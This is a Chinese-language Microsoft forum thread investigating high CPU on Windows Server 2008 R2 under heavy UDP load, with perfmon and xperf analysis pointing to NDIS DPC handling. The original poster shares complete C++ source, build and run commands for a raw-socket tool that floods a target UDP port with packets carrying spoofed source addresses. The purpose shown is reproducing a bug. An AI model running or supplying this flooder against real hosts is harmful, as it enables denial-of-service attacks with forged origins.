none
当基于 Windows Server 2008 R2 服务器 UDP 负载很重时,就会出现 CPU 使用率过高 RRS feed

  • 问题

  • KB上已经发现了这个问题

    http://support.microsoft.com/kb/2685007

    从中文版本的描述中,复制了如下内容:

    症状

    请考虑以下情形:

    • 具有许多客户机,您有一个服务器正在运行 Windows Server 2008 R2 和进行通信。
    • 服务器是用户数据报协议 (UDP) 负载很重。例如,会在服务器和客户端之间的 15000 多个并发连接。

    在此方案中,服务器没有响应。此外,您注意到的计算机的 CPU 使用率达到 100%。

    ----------------------------------------------

    事实上,发布的这个补丁根本不起作用。

    无论是自己修改注册表,或者安装补丁。

    如何验证:

    使用RAW协议,模拟UDP发送数据。并且修改每个UDP数据包的来源IP,来源port。

    这个功能,已经在windows xp sp2以上的版本中无效了。因此,我们采用了linux来模拟这个效果

    使用方法:在linux机器上,对 Windows Server 2008 R2 服务器上任意打开的UDP端口,发送大量伪造的UDP数据。 (每个UDP数据包的来源IP,来源port都不一样

    Windows Server 2008 R2 服务器马上负载很高,高到什么都动不了。



    2013年4月23日 9:40

答案

  • 我很好奇你说Windows Server 2003上没出现High CPU

    你能确认你2003上运行的UDP Server真的收到了所有的包吗?

    因为按照这篇KB的讲法,其实是很多包被NDIS丢弃了,因为NDIS Queue DPC的系统线程是以一个低优先级运行的,估计会被抢占掉,所以CPU高不起来的,你给你的2003打上这个补丁看看呢?

    Applications that use the UDP protocol may encounter poor performance on a computer that is running Windows Server 2003
    http://support.microsoft.com/kb/972071

    而我感觉08是真的尽心尽责地全收下了,所以DPC Time高起来可能是合理的。。。

    2013年4月26日 9:36

全部回复

  • KB上已经发现了这个问题

    http://support.microsoft.com/kb/2685007

    从中文版本的描述中,复制了如下内容:

    症状

    请考虑以下情形:

    • 具有许多客户机,您有一个服务器正在运行 Windows Server 2008 R2 和进行通信。
    • 服务器是用户数据报协议 (UDP) 负载很重。例如,会在服务器和客户端之间的 15000 多个并发连接。

    在此方案中,服务器没有响应。此外,您注意到的计算机的 CPU 使用率达到 100%。

    ----------------------------------------------

    事实上,发布的这个补丁根本不起作用。

    无论是自己修改注册表,或者安装补丁。

    如何验证:

    使用RAW协议,模拟UDP发送数据。并且修改每个UDP数据包的来源IP,来源port。

    这个功能,已经在windows xp sp2以上的版本中无效了。因此,我们采用了linux来模拟这个效果

    使用方法:在linux机器上,对 Windows Server 2008 R2 服务器上任意打开的UDP端口,发送大量伪造的UDP数据。 (每个UDP数据包的来源IP,来源port都不一样

    Windows Server 2008 R2 服务器马上负载很高,高到什么都动不了。



    去年同期,也有人提出了这个问题,你们没有人回复

    http://social.microsoft.com/Forums/zh-CN/windowsserversystemzhchs/thread/66477efa-961a-47b4-9960-5ba34daf1255

    2013年4月23日 9:48
  • 非常有意思的性能问题!

    perfmon过吗?你确认CPU是耗在Kernel Mode的?且不是中断和DPC吗?

    如果是中断或DPC上,那很可能是你的NIC硬件或驱动的问题。能先排除一下吗?

    2013年4月23日 15:45
  • 当然perfmon过。

    红色的内核时间曲线占满整个cpu。

    我们尝试过各种各种的网卡,各种各样的驱动。

    有测试源代码,屡试不爽。如果需要,可以你一份。

    2013年4月24日 1:11
  • 嗯,既然是红色的内核线,那就是Kernel Time。

    那么,%Interrupt Time 和 %DPC Time 分别占据 %Privileged Time 的多少?


    如果你能提供详细的测试工具和步骤,那可以Share出来,我也比较感兴趣看一下这个问题。
    2013年4月24日 3:33
  • 嗯,既然是红色的内核线,那就是Kernel Time。

    那么,%Interrupt Time 和 %DPC Time 分别占据 %Privileged Time 的多少?


    如果你能提供详细的测试工具和步骤,那可以Share出来,我也比较感兴趣看一下这个问题。

    1.准备一台windows 2008 R2,准备一台cent os

    2.在centos  上面,编译下面的代码,然后运行

    编译说明:

    g++ main.cpp CUDP.cpp   -o rawsend

    运行的参数,指向 windows 20008 R2 开放的任意UDP端口

    ./rawsend yourWinip yourWinPort

    //////////////////////////////////////////////////////////


    // filename
    // main.cpp

    #include "CUDP.h"
    #include <string>
    #include <sys/types.h>
    #include <sys/socket.h>
     #include <sys/socket.h>
           #include <netinet/in.h>
           #include <arpa/inet.h>

    long int mySendto(
            int __fd,
            const char * __buf,
            long int __n,
            int __flags,
            const char * pDestIp,
            unsigned short nDestPort,
           const char * pSourceIp,
            unsigned short nSourcePort
            );


    int main(int argc, char* argv[])
    {
    if ( argc < 3 )
    {
    printf("xxxxx.exe ip port");
    return 0;
    }
    std::string sendcontend = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

    unsigned long startip = htonl( 1) ; //inet_addr("128.0.0.1");
    struct in_addr ip;
    for (int i = 0 ; i < 100000000 ; i ++)
    {

    ip.s_addr = startip + i;
    std::string fakeip = inet_ntoa(ip);
    int Socket = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    mySendto(Socket, sendcontend.c_str(),(long)sendcontend.length(),0,argv[1],atoi(argv[2]),fakeip.c_str(), (i%64000) + 1000 );
    close(Socket);
    if((i%10000) == 0 )
    printf("send:%d\n",i);
    }

    return 0;
    }

    //////////////////////////////////////////////////////////////

    /////////////////////////////////////////////////////////

    // filename: 
    // CUDP.cpp

    #include "CUDP.h"

    unsigned short checksum(
           unsigned short * buff,
            int size
            )
    {
            unsigned long cksum = 0;
            while (size > 1)
            {
                    cksum += *buff++;
                    size -= sizeof (unsigned short);
            }
            if (size)
            {
                    cksum += *(unsigned char*) buff;
            }
            cksum = (cksum >> 16) + (cksum & 0xffff);
            cksum += (cksum >> 16);
            return (unsigned short) (~cksum);
    }

    void ComputeUdpPseudoHeaderChecksum(
            struct iphdr * pIphdr,
            struct udphdr *pUdphdr,
       const      char *payload,
            int payloadlen
            )
    {
            char buff[BUFF_SIZE];
            char *ptr = buff;

            unsigned long zero = 0;
            int chksumlen = 0;

            // Include the source and destination IP addresses
            memcpy(ptr, &pIphdr->saddr, sizeof (pIphdr->saddr));
            ptr += sizeof (pIphdr->saddr);
            chksumlen += sizeof (pIphdr->saddr);

            memcpy(ptr, &pIphdr->daddr, sizeof (pIphdr->daddr));
            ptr += sizeof (pIphdr->daddr);
            chksumlen += sizeof (pIphdr->daddr);

            // Include the 8 bit zero field
            memcpy(ptr, &zero, 1);
            ptr += 1;
            chksumlen += 1;

            // Protocol
            memcpy(ptr, &pIphdr->protocol, sizeof (pIphdr->protocol));
            ptr += sizeof (pIphdr->protocol);
            chksumlen += sizeof (pIphdr->protocol);

            // UDP length
            memcpy(ptr, &pUdphdr->len, sizeof (pUdphdr->len));
            ptr += sizeof (pUdphdr->len);
            chksumlen += sizeof (pUdphdr->len);

            // UDP source port
            memcpy(ptr, &pUdphdr->source, sizeof (pUdphdr->source));
            ptr += sizeof (pUdphdr->source);
            chksumlen += sizeof (pUdphdr->source);

            // UDP destination port
            memcpy(ptr, &pUdphdr->dest, sizeof (pUdphdr->dest));
            ptr += sizeof (pUdphdr->dest);
            chksumlen += sizeof (pUdphdr->dest);

            // UDP length again
            memcpy(ptr, &pUdphdr->len, sizeof (pUdphdr->len));
            ptr += sizeof (pUdphdr->len);
            chksumlen += sizeof (pUdphdr->len);

            // 16-bit UDP checksum, zero 
            memcpy(ptr, &zero, sizeof (unsigned short));
            ptr += sizeof (unsigned short);
            chksumlen += sizeof (unsigned short);

            // payload
            memcpy(ptr, payload, payloadlen);
            ptr += payloadlen;
            chksumlen += payloadlen;

            // pad to next 16-bit boundary
            for (int i = 0; i < payloadlen % 2; i++)
            {
                    *ptr = 0;
                    ptr++;
                    chksumlen++;
            }

            // Compute the checksum and put it in the UDP header
            pUdphdr->check = checksum((unsigned short*) buff, chksumlen);
    }

    long int mySendto(
            int __fd,
          const  char * __buf,
            long int __n,
            int __flags,
           const  char * pDestIp,
            unsigned short nDestPort,
        const     char * pSourceIp,
            unsigned short nSourcePort)
    {
            long int ret = 0;
            int o = 1;
            if (setsockopt(__fd, IPPROTO_IP, IP_HDRINCL, &o, sizeof (o)) == -1)
            {
                    return -1;
            }
              
            unsigned char buffer[BUFF_SIZE];
            memset(buffer, 0, BUFF_SIZE);
            struct iphdr *ip = (struct iphdr *) buffer;
            struct udphdr *udp = (struct udphdr *) (buffer + sizeof (struct iphdr));

            ip->version = 4;
            ip->ihl = sizeof(struct iphdr) >> 2;    
            ip->tos = 0;                                                                                                    
            ip->id = htonl(random());    
            ip->frag_off = 0;                   
            ip->saddr = inet_addr(pSourceIp);  
            ip->daddr = inet_addr(pDestIp);    
            ip->ttl = MAXTTL;                      
            ip->protocol = IPPROTO_UDP;      
            ip->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) +__n);  
            ip->check = checksum((unsigned short*)ip, sizeof(struct iphdr));

            udp->source = htons(nSourcePort);      
            udp->dest = htons(nDestPort);    
            udp->len = htons(sizeof (struct udphdr) +__n);  
            udp->check = 0;

            memcpy(buffer + sizeof (struct iphdr) + sizeof (struct udphdr), __buf, __n);

            ComputeUdpPseudoHeaderChecksum(ip, udp, __buf, __n);

            struct sockaddr_in addr;
            addr.sin_family = AF_INET;
            addr.sin_port = udp->dest;
            addr.sin_addr.s_addr = ip->daddr;
            
            if ((ret = sendto(__fd, buffer, sizeof (struct iphdr) + sizeof (struct udphdr) + __n, __flags, (struct sockaddr*) &addr, sizeof (struct sockaddr_in))) == -1)
            {
                    return -1;
            }
            return ret;
    }

    //////////////////////////////////////////////////////////////

    // filename: 
    // CUDP.h
    #ifndef CUDP_H
    #define CUDP_H

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #define BUFF_SIZE 1024



    unsigned short checksum(
            unsigned short * buff,
            int size
            );

    void ComputeUdpPseudoHeaderChecksum(
            struct iphdr * pIphdr,
            struct udphdr *pUdphdr,
            char *payload,
            int payloadlen
            );

    long int mySendto(
            int __fd,
          const  char * __buf,
            long int __n,
            int __flags,
         const   char * pDestIp,
            unsigned short nDestPort,
          const  char * pSourceIp,
            unsigned short nSourcePort
            );

    #endif

    //////////////////////////////////

    2013年4月24日 7:47
  • 貌似这段代码没什么底层依赖,你把编译好的二进制文件share出来吧。

    是32位还是64位的?CentOS版本是?

    然后,我问一下,你这程序,无非就是多线程不停往UDP端口发ASCII字符串aaaaaa吧?频率是每秒几个包?



    • 已编辑 Finy 2013年4月24日 8:17
    2013年4月24日 8:01
  • 任意centos 版本

    如果有centos 运行环境,编译环境也没有问题。

    单线程,死循环发送数据。发送速度依赖于网络速度。一般局域网,带宽不满的情况下,每秒5W左右。

    windows  server 2003,或者任意版本linux处理每秒5W UDP那是相当的轻松。

    我在skydirve上放了一份编译好的:

    http://sdrv.ms/10B8AJa

    编译以及运行环境:


    LSB Version:    :core-4.0-amd64:core-4.0-ia32:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-ia32:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-ia32:printing-4.0-noarch
    Distributor ID: CentOS
    Description:    CentOS release 5.7 (Final)
    Release:        5.7
    Codename:       Final
    ---------------------------------------------------
    g++ (GCC) 4.1.2 20080704 (Red Hat 4.1.2-54)
    Copyright (C) 2006 Free Software Foundation, Inc.

    2013年4月25日 2:22
  • 试过你的程序了,打了一台08R2的HP台式机(单处理器4Core,4个逻辑线程),结果单线程Kernel Time吃满,全是DPC Time。

    你的也全是DPC吗???


    • 已编辑 Finy 2013年4月25日 3:41
    2013年4月25日 3:35
  • xperf trace了一下DPC,看起来耗时最长的Function落在NDIS里,是微软的问题。

    但是KB2685007更新的是Fwpkclnt和Tcpip,不是NDIS,故应该不是同一个问题。


    • 已编辑 Finy 2013年4月25日 4:17
    2013年4月25日 4:16
  • 然后我注意到一个现象:当你打得目的端口(Server端Listen着)不同时,High CPU的现象会有明显差异。

    例如:假如你打Windows Server 2008 R2的UDP 4500(应该是svchost进程监听着的),CPU根本不会高

    但是,假如你打时间服务的123或SNMP的161,则CPU是会高出来。

    所以,这个问题,海不能一律简单归结为操作系统处理UDP包性能的问题,应该还跟上层负责接收Packets Data的App写法有关。

    请问一下,你打Windows 2003时,打的是什么端口?上层是什么App?打Windows 2008时打的又是什么?

    • 已编辑 Finy 2013年4月25日 4:50
    2013年4月25日 4:46
  • App的写法就是 socket一个udp,然后bind,然后开线程recvfrom

    所有参数都是默认的

    研究发现,不运行recvfrom也挂掉.

    形如下面的C++/C代码:

    m_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if ( m_socket )
    {

    m_RecvAddr.sin_family = AF_INET;
    m_RecvAddr.sin_port = htons( ListenAddr.GetPort() );
    m_RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
    return bind(m_socket, (SOCKADDR *) &m_RecvAddr, sizeof(m_RecvAddr)) == 0;

    }

    -------------------------

    根据你的提示,有些UDP端口不受这个影响。

    找到了 SQL SERVCER的 1434端口。

    为了看这个 sqlbrowser.exe 的写法有什么花样,特意逆向了以下这个东东。发现有 sqlbrowser.exe -c的启动参数。用参数模式启动后,没有这个神奇的效果了。可见 sqlbrowser.exe的写法也不会有特别之处

    4500端口是svchost启动的,没有好的办法查看运行的代码

    2013年4月26日 8:42
  • 我很好奇你说Windows Server 2003上没出现High CPU

    你能确认你2003上运行的UDP Server真的收到了所有的包吗?

    因为按照这篇KB的讲法,其实是很多包被NDIS丢弃了,因为NDIS Queue DPC的系统线程是以一个低优先级运行的,估计会被抢占掉,所以CPU高不起来的,你给你的2003打上这个补丁看看呢?

    Applications that use the UDP protocol may encounter poor performance on a computer that is running Windows Server 2003
    http://support.microsoft.com/kb/972071

    而我感觉08是真的尽心尽责地全收下了,所以DPC Time高起来可能是合理的。。。

    2013年4月26日 9:36
  • 你可以对比一下你的2003跟2008在分别被UDP Flood时的perfmon计数器UDPv4/Datagrams Received Errors

    如果你的2003这个值在涨,而2008却不涨,那么应该就论证了我前面说的“08是真的尽心尽责地全收下了”,而03则实际是丢弃了很多

    我实测是这样的。

    并且,更新一下2008上xperf后带Symbol的分析,可以看到CPU都耗在ndisInterruptDpc。在这1万7千多次对此函数的调用中,平均每次调用时间是0.959ms,

    且里面确实大部分次数(大概1.4万次)都在1ms甚至更快地完成,1300次在2ms以上,特别的是有近200次是在10ms以上!这就是CPU Hign起来的关键,但这里是为什么,暂时不可知晓。。。


    Total = 17325 for module NDIS.SYS
    Elapsed Time, >        0 usecs AND <=        1 usecs,    130, or   0.75%
    Elapsed Time, >        1 usecs AND <=        2 usecs,     43, or   0.25%
    Elapsed Time, >        2 usecs AND <=        4 usecs,     54, or   0.31%
    Elapsed Time, >        4 usecs AND <=        8 usecs,     50, or   0.29%
    Elapsed Time, >        8 usecs AND <=       16 usecs,    388, or   2.24%
    Elapsed Time, >       16 usecs AND <=       32 usecs,   1425, or   8.23%
    Elapsed Time, >       32 usecs AND <=       64 usecs,    396, or   2.29%
    Elapsed Time, >       64 usecs AND <=      128 usecs,    386, or   2.23%
    Elapsed Time, >      128 usecs AND <=      256 usecs,   3139, or  18.12%
    Elapsed Time, >      256 usecs AND <=      512 usecs,   4506, or  26.01%
    Elapsed Time, >      512 usecs AND <=     1024 usecs,   3804, or  21.96%
    Elapsed Time, >     1024 usecs AND <=     2048 usecs,   1731, or   9.99%
    Elapsed Time, >     2048 usecs AND <=     4096 usecs,    912, or   5.26%
    Elapsed Time, >     4096 usecs AND <=     8192 usecs,    164, or   0.95%
    Elapsed Time, >     8192 usecs AND <=    16384 usecs,     68, or   0.39%
    Elapsed Time, >    16384 usecs AND <=    32768 usecs,     32, or   0.18%
    Elapsed Time, >    32768 usecs AND <=    65536 usecs,     97, or   0.56%
    Total,                                                 17325
    • 已编辑 Finy 2013年4月27日 7:34
    2013年4月27日 3:05
  • 况且,我发现打Linux时,也是一样的现象嘛,这个是也许是CPU响应中断处理的极限了吧,跟操作系统可能关系不大了。。。

    2013年4月27日 8:24
  • 我也对比了多个操作系统:

    windows 7,windows 2008 R2,centos 都有高cpu这个效果

    windows 2003,windows xp 如你所说,压力很大的时候,丢包多一些。这里,压力大的定义略有不一样,可能每秒 3W,6W,12W。确实随着压力大,丢包率变大。

    但是cpu不会高。

    当然,对丢包的期望也不一样,比如我们在生产环境上希望每秒3W次业务,整体丢包(包括网络线路原因引起的)不高于1%。


    windows 8也尝试了以下,效果很特别,cpu不会高,操作系统能收下,但是应用程序没有响应到。几秒后关了重开应用程序,居然响应到了。可能是堆积在交换机上,也可能堆积到操作系统接收缓冲区。这个没有仔细研究

    ---------------------

    另外,对 NDIS 简单研究了以下,上面各个windows系统,都采用了能更新到的最新NDIS版本,效果没有发生明显变化,或者说我希望的明显变化,和你定义的不一样。

    ----------------

    总的来说,对centos的表现,犯了错误,没有亲自测试,就表示centos 怎么好怎么不好

    2013年4月28日 3:26
  • 能否换句话,简单概括为:任何操作系统,如果能照单全收UDP包的,那么CPU都是高的;如果CPU不高的,一定是会丢包或延迟很久才提交到应用层的?

    2013年4月28日 9:38